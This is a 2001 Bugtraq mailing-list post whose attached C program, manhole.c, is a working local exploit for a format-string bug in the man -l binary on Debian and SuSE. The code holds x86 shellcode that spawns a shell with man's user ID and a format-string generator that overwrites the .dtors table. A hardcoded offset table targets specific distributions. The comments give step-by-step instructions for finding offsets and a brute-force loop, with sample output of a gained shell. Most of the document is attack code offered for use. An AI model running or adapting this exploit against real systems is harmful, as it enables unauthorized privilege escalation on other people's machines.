debian/suse man exploit
Date: Tue, 13 Mar 2001 21:20:33 -0500
From: fish stiqz <fish@ANALOG.ORG>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: debian/suse man exploit
--gKMricLos+KVdGMg
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Heres another exploit for the debian/suse man -l format string bug
discussed a bit earlier. It bypasses Solar Designer's non-exec stack
patch and should work out of the box on Debian 2.2. There is a detailed
explanation of how to get the offsets for other distributions (such as
SuSE). I dont have access to any SuSE machines but I would love it
if you guys/gals give it a test. Just follow what I did in the comments.
As always, for updates see http://gibson.analog.org/security
Have a great day!
Later,
fish stiqz.
--
fish stiqz <fish@analog.org>
irc>irl?werd():lame()
--gKMricLos+KVdGMg
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="manhole.c"
/*
* manhole.c - fish stiqz <fish@analog.org> 02/26/2001
* updated on 03/12/2001
*
* Now gives man's real userid. Thanks to Paul Starzetz for the hint
* concerning POSIX saved id's.
*
* How to get the offsets:
* ======================
*
* 1) Target address:
* $ objdump -s -j .dtors /path/to/man
*
* /path/to/man: file format elf32-i386
*
* Contents of section .dtors:
* 805a8dc ffffffff 00000000 ........
* ^^^^^^^
* Add 4 to the head of the .dtors list to get 0x0805a8e0.
*
* 2) Value to write:
* (This needs to be an address to our nops)
* $ cp /path/to/man /tmp
* $ ltrace ./manhole -p /tmp/man -t 0x0805a8e0 -v 0x52525252 -e 100 -u 5 2>&1 | grep malloc
* malloc(1342) = 0x0804a420
* malloc(601) = 0x0804a968
* malloc(161) = 0x0804abc8
* malloc(686) = 0x0804ac70
* malloc(1337) = 0x081611c8
* ^^^^ ^^^^^^^^^^
* malloc(4) = 0x0815f5d8
* malloc(13) = 0x0815f5e8
* malloc(10) = 0x0815f5f8
* malloc(719) = 0x08161708
*
* The elite malloc contains our eggshell.
* Notice that this eggshell is in the heap, so it will bypass Solar
* Designer's non-executable stack patch.
*
* 3) The stack eats:
* (Brute force it. -u specifies man's userid: `id man` to get it)
* $ for i in `seq 40 140`; do echo $i; ./manhole -p /path/to/man -t 0x0805a8e0 -v 0x081611c8 -e $i -u 5; done;
* ....
* 102
* ...
* 103
* ...
* 104
* ...
* sh-2.04$ whoami
* man
* sh-2.04$
*
*
* 4) Then email me the these three values including the operating system,
* distribution type and version, and man's uid. I'll add them to my
* exploit, give you credit, and send you a copy with all the known
* offsets.
*
* l8r, have fun. fish stiqz.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
extern int errno;
extern char *optarg;
#define DEFAULT_MAN_BIN "/usr/lib/man-db/man"
#define DEFAULT_SHELLCODE scode
#define DEFAULT_UID 5
#define ENV_VAR "LANG"
#define STACK (0xc0000000-4)
/* shellcode, does a setreuid(-1, UID); setreuid(UID, UID);
and execve of /bin/sh, uids at scode[10], scode[22] & scode[24] */
#define UID "\x05"
char scode[] =
/* setreuid(-1, 5); setreuid(5,5); */
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"UID
"\x31\xc0\xb0\x46\xcd\x80\x31\xdb\x31\xc9\xb3"UID
"\xb1"UID"\x31\xc0\xb0\x46\xcd\x80"
/* anathema */
"\x89\xe6" /* movl %esp, %esi */
"\x83\xc6\x30" /* addl $0x30, %esi */
"\xb8\x2e\x62\x69\x6e" /* movl $0x6e69622e, %eax */
"\x40" /* incl %eax */
"\x89\x06" /* movl %eax, (%esi) */
"\xb8\x2e\x73\x68\x21" /* movl $0x2168732e, %eax */
"\x40" /* incl %eax */
"\x89\x46\x04" /* movl %eax, 0x04(%esi) */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
;
char nop[] = "\x90";
/* architecture structure */
struct arch {
char *description;
char *filename;
char *code;
unsigned long target;
unsigned long value;
unsigned int eats;
unsigned int man_uid;
};
struct arch archlist[] =
{
{
"Slackware 7.1 - testing only (NOT DEFAULT)", "./man", scode,
0x0805a8e0, 0x081611c8, 104, 5
},
{
"Debian 2.2 (man-db_2.3.16-1.deb)", "/usr/lib/man-db/man", scode,
0x0805c53c, 0x08163128, 128, 6
}
};
/*
* Error cheq'n wrapper for malloc.
*/
void *Malloc(size_t n)
{
void *tmp;
if((tmp = malloc(n)) == NULL)
{
fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}
return tmp;
}
/*
* Error cheq'n realloc.
*/
void *Realloc(void *ptr, size_t n)
{
void *tmp;
if((tmp = realloc(ptr, n)) == NULL)
{
fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}
return tmp;
}
/*
* returns the proper alignment for the man -l argument on the stack.
* - this method courtesy of Michel "MaXX" Kaempf (Thanks dawg ;-)
*/
char *create_proper_align(char *man_bin, char **execve_envs, char *fmtstr)
{
unsigned long file_addr;
unsigned int x, align;
file_addr = STACK - (strlen(man_bin) + 1);
for(x = 0; execve_envs[x] != NULL; x++)
file_addr -= strlen(execve_envs[x]) + 1;
file_addr -= strlen(fmtstr) + 1;
for(align = 0; align < (file_addr % 16); align++);
printf("caculated alignment: %d\n", align);
fmtstr = Realloc(fmtstr, (strlen(fmtstr) + 1 + align) * sizeof(char));
memset(fmtstr + strlen(fmtstr), 'X', align);
return fmtstr;
}
/*
* generates a format string that overwrites location with value.
* This format string is only appropriate for use with a printf call
* that only writes to the screen due to the fact that it uses large
* precision values which will most likely cause a segfault if that
* many bytes are written to a string via sprintf.
* the number of items on the stack before the input buffer is
* specified by stackpad (eat up the stack..)
*/
#define EAT_ME "%.8x "
#define EAT_ME_SIZE 9
char *make_printf_fmtstr(unsigned long location,
unsigned long value,
unsigned int eats,
unsigned int addrpad)
{
char *fmtbuf;
char *eatbuf;
char *addrbuf, *tmpbuf;
unsigned int i, len1 = 0;
unsigned int big, small, tmp;
unsigned int precision[2];
unsigned long dest_addr[2];
/* set up the padbuf */
eatbuf = Malloc((1 + (eats * sizeof(EAT_ME))) * sizeof(char));
eatbuf[0] = 0x0;
for(i = 0; i < (eats * sizeof(EAT_ME)); i += sizeof(EAT_ME))
{
strcat(eatbuf, EAT_ME);
len1 += EAT_ME_SIZE;
}
/* split the address into 2 two byte segments */
big = value & 0x0000ffff;
small = (value & 0xffff0000) >> 16;
if(big < small)
{
/* swap the values */
tmp = big;
big = small;
small = tmp;
dest_addr[0] = location;
dest_addr[1] = location + 2;
}
else
{
dest_addr[0] = location + 2;
dest_addr[1] = location;
}
/* write in the destination addresses with the junk values to expand.
we want to write in in addrpad times to allow for "misses" */
addrbuf = Malloc((1 + (16 * addrpad)) * sizeof(char));
tmpbuf = addrbuf;
for(i = 0; i < addrpad; i++)
{
memcpy(tmpbuf + 0, "AAAA", 4); /* junk to pad */
memcpy(tmpbuf + 4, (char *)&dest_addr[0], 4); /* 1st addr to overwrite */
memcpy(tmpbuf + 8, "AAAA", 4); /* junk to pad */
memcpy(tmpbuf + 12, (char *)&dest_addr[1], 4);/* 2nd addr to overwrite */
tmpbuf += 16;
}
len1 += (16 * addrpad);
precision[0] = small - len1;
precision[1] = big - small;
/* 17: address + junk + null */
/* 6: 2 "%hn"'s */
/* 20: length specifiers */
fmtbuf = Malloc(strlen(eatbuf) + strlen(addrbuf) + 6 + 20);
sprintf(fmtbuf,
"%s" /* the junk & address buffer */
"%s" /* the pad buffer */
"%%.%dx" /* pad out the first junk value */
"%%hn" /* write to first address */
"%%.%dx" /* pad out last junk value */
"%%hn", /* write to last address */
addrbuf,
eatbuf,
precision[0],
precision[1]);
free(addrbuf);
free(eatbuf);
return fmtbuf;
}
/*
* makes the nop + shellcode egg
*/
char *make_eggshell(char *shellcode, char *nop, int num_nop, char *name,
unsigned int man_uid)
{
char *egg, *tmp;
unsigned int size, i, nop_size;
/* replace the shellcode uids with what we want in the shellcode */
shellcode[10] = man_uid;
shellcode[22] = man_uid;
shellcode[24] = man_uid;
printf("using uid = %u as man's userid\n", man_uid);
size = strlen(shellcode) + (num_nop * strlen(nop)) + strlen(name) + 2;
egg = Malloc(size * sizeof(char));
memset(egg, 0x0, size);
strcpy(egg, name);
strcat(egg, "=");
tmp = egg + strlen(name) + 1;
nop_size = strlen(nop);
for(i = 0; i < num_nop; i++)
{
memcpy(tmp, nop, nop_size);
tmp += nop_size;
}
strcat(egg, shellcode);
return egg;
}
/*
* prints a usage message and then exits.
*/
void usage(char *p)
{
int i;
fprintf(stderr,
"manhole - local man exploit by fish stiqz <fish@analog.org>\n"
"usage: %s <architecture>\n"
"Architectures:\n", p);
for(i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ )
fprintf(stderr, " - %i: %s\n", i, archlist[i].description);
fprintf(stderr,
"usage: %s <options>\n"
"Manual Exploitation:\n"
"\t-p\t<path> path to man binary.\n"
"\t-t\t<target> address to overwrite.\n"
"\t-v\t<value> value to overwrite with.\n"
"\t-e\t<eats> number of stack eats\n"
"\t-u\t<uid> uid to regain (uid of man)\n", p);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv)
{
char *fmt_str, *eggy, *shellcode, *man_bin = NULL, c;
char *execve_args[] = { NULL, "-l", NULL, NULL };
char *execve_envs[] = { NULL, NULL };
unsigned int eats = 0;
unsigned int man_uid = DEFAULT_UID;
unsigned long target = 0;
unsigned long value = 0;
int i;
struct arch *arch;
if(argc != 11 && argc != 2)
usage(argv[0]);
if(argc != 2)
{
shellcode = DEFAULT_SHELLCODE;
while((c = getopt(argc, argv, "t:v:e:p:u:h")) != EOF)
{
switch(c)
{
case 'p':
man_bin = strdup(optarg);
break;
case 't':
target = strtoul(optarg, NULL, 0);
break;
case 'v':
value = strtoul(optarg, NULL, 0);
break;
case 'e':
eats = strtoul(optarg, NULL, 0);
break;
case 'u':
man_uid = strtoul(optarg, NULL, 0);
break;
default:
usage(argv[0]);
break;
}
}
}
/* one argument - get it from the arch structure */
else
{
i = strtoul(argv[1], NULL, 0);
if(i < 0 || i >= sizeof(archlist) / sizeof(struct arch))
usage(argv[0]);
arch = &(archlist[i]);
man_bin = arch->filename;
shellcode = arch->code;
target = arch->target;
value = arch->value;
eats = arch->eats;
man_uid = arch->man_uid;
}
printf("attempting to overwrite %#lx with %#lx\n", target, value);
fflush(stdout);
if(strlen(shellcode) > 1337 - 1)
{
fprintf(stderr, "uh, shellcode is > 1336?? Go optimize it...\n");
exit(EXIT_FAILURE);
}
/* make the nop + shellcode egg */
eggy = make_eggshell(shellcode, nop, 1337 - strlen(shellcode) - 1,
ENV_VAR, man_uid);
execve_envs[0] = eggy;
/* generate the format string */
fmt_str = make_printf_fmtstr(target, value, eats, 10);
fmt_str = create_proper_align(man_bin, execve_envs, fmt_str);
execve_args[0] = man_bin;
execve_args[2] = fmt_str;
execve(execve_args[0], execve_args, execve_envs);
fprintf(stderr, "execve(%s): %s\n", execve_args[0], strerror(errno));
return EXIT_FAILURE;
}
--gKMricLos+KVdGMg--